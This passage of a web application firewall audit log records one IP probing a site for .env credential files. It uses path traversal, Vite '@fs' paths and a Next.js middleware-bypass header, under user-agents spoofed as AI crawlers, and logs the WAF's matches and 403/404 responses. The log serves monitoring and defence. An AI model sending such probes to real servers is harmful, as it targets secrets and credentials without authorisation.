X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ef69ca48-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ef69ca48-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:import=&raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GgAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GgAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558408022 76346 (- - -)
Stopwatch2: 1789290558408022 76346; combined=75002, p1=252, p2=74406, p3=0, p4=0, p5=344, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ef69ca48-Z--
--af722949-A--
[13/Sep/2026:12:09:18.544982 +0300] aqZoPjTJ6xTvcJoem7f6cQAAAEI 34.73.246.242 56326 127.0.0.1 7081
--af722949-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--af722949-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--af722949-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZoPjTJ6xTvcJoem7f6cQAAAEI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558368266 176790 (- - -)
Stopwatch2: 1789290558368266 176790; combined=3847, p1=226, p2=3567, p3=0, p4=0, p5=54, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--af722949-Z--
--e27fa508-A--
[13/Sep/2026:12:09:18.560977 +0300] aqZoPkwu1RSkptiiNIX4HAAAAI0 34.73.246.242 56370 127.0.0.1 7081
--e27fa508-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e27fa508-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e27fa508-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPkwu1RSkptiiNIX4HAAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558484922 76130 (- - -)
Stopwatch2: 1789290558484922 76130; combined=4165, p1=220, p2=3893, p3=0, p4=0, p5=52, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e27fa508-Z--
--569b150e-A--
[13/Sep/2026:12:09:18.564513 +0300] aqZoPjTJ6xTvcJoem7f6cgAAAFU 34.73.246.242 56368 127.0.0.1 7081
--569b150e-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--569b150e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--569b150e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZoPjTJ6xTvcJoem7f6cgAAAFU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558447645 116941 (- - -)
Stopwatch2: 1789290558447645 116941; combined=3906, p1=209, p2=3645, p3=0, p4=0, p5=51, sr=72, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--569b150e-Z--
--e0ba8e23-A--
[13/Sep/2026:12:09:18.690195 +0300] aqZoPisVWymXUono-eRUyQAAABA 34.73.246.242 56384 127.0.0.1 7081
--e0ba8e23-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e0ba8e23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e0ba8e23-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPisVWymXUono-eRUyQAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558615338 74973 (- - -)
Stopwatch2: 1789290558615338 74973; combined=3285, p1=299, p2=2903, p3=0, p4=0, p5=83, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e0ba8e23-Z--
--fb953638-A--
[13/Sep/2026:12:09:18.709229 +0300] aqZoPisVWymXUono-eRUygAAAAM 34.73.246.242 56390 127.0.0.1 7081
--fb953638-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--fb953638-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fb953638-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:.svg?.wasm?init=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPisVWymXUono-eRUygAAAAM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPisVWymXUono-eRUygAAAAM"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558648194 61090 (- - -)
Stopwatch2: 1789290558648194 61090; combined=59743, p1=233, p2=59214, p3=0, p4=0, p5=295, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb953638-Z--
--ced28e45-A--
[13/Sep/2026:12:09:18.810133 +0300] aqZoPisVWymXUono-eRUywAAAAA 34.73.246.242 56394 127.0.0.1 7081
--ced28e45-B--
GET /public../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ced28e45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ced28e45-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/public../.env"] [unique_id "aqZoPisVWymXUono-eRUywAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558677038 133168 (- - -)
Stopwatch2: 1789290558677038 133168; combined=4792, p1=220, p2=4036, p3=0, p4=0, p5=535, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ced28e45-Z--
--9c624d47-A--
[13/Sep/2026:12:09:18.815987 +0300] aqZoPmM7dE9KgIIOpQh0FwAAANA 34.73.246.242 56406 127.0.0.1 7081
--9c624d47-B--
GET /dist../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9c624d47-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9c624d47-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/dist../.env"] [unique_id "aqZoPmM7dE9KgIIOpQh0FwAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558713435 102616 (- - -)
Stopwatch2: 1789290558713435 102616; combined=24938, p1=241, p2=24641, p3=0, p4=0, p5=55, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9c624d47-Z--
--f6e59a1d-A--
[13/Sep/2026:12:09:18.826291 +0300] aqZoPisVWymXUono-eRUzAAAAAY 34.73.246.242 56412 127.0.0.1 7081
--f6e59a1d-B--
GET /build../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f6e59a1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f6e59a1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/build../.env"] [unique_id "aqZoPisVWymXUono-eRUzAAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558721279 105078 (- - -)
Stopwatch2: 1789290558721279 105078; combined=4099, p1=207, p2=3842, p3=0, p4=0, p5=50, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f6e59a1d-Z--
--5ace384f-A--
[13/Sep/2026:12:09:18.852396 +0300] aqZoPmM7dE9KgIIOpQh0GAAAANI 34.73.246.242 56414 127.0.0.1 7081
--5ace384f-B--
GET /js../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5ace384f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5ace384f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/js../.env"] [unique_id "aqZoPmM7dE9KgIIOpQh0GAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558760164 92307 (- - -)
Stopwatch2: 1789290558760164 92307; combined=4357, p1=265, p2=4030, p3=0, p4=0, p5=61, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ace384f-Z--
--eef6af67-A--
[13/Sep/2026:12:09:18.961914 +0300] aqZoPkwu1RSkptiiNIX4HQAAAIc 34.73.246.242 56418 127.0.0.1 7081
--eef6af67-B--
GET /css../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--eef6af67-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--eef6af67-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/css../.env"] [unique_id "aqZoPkwu1RSkptiiNIX4HQAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558866101 95890 (- - -)
Stopwatch2: 1789290558866101 95890; combined=4244, p1=216, p2=3935, p3=0, p4=0, p5=93, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eef6af67-Z--
--70a9cb68-A--
[13/Sep/2026:12:09:19.178986 +0300] aqZoP2M7dE9KgIIOpQh0GgAAAMI 34.73.246.242 56454 127.0.0.1 7081
--70a9cb68-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
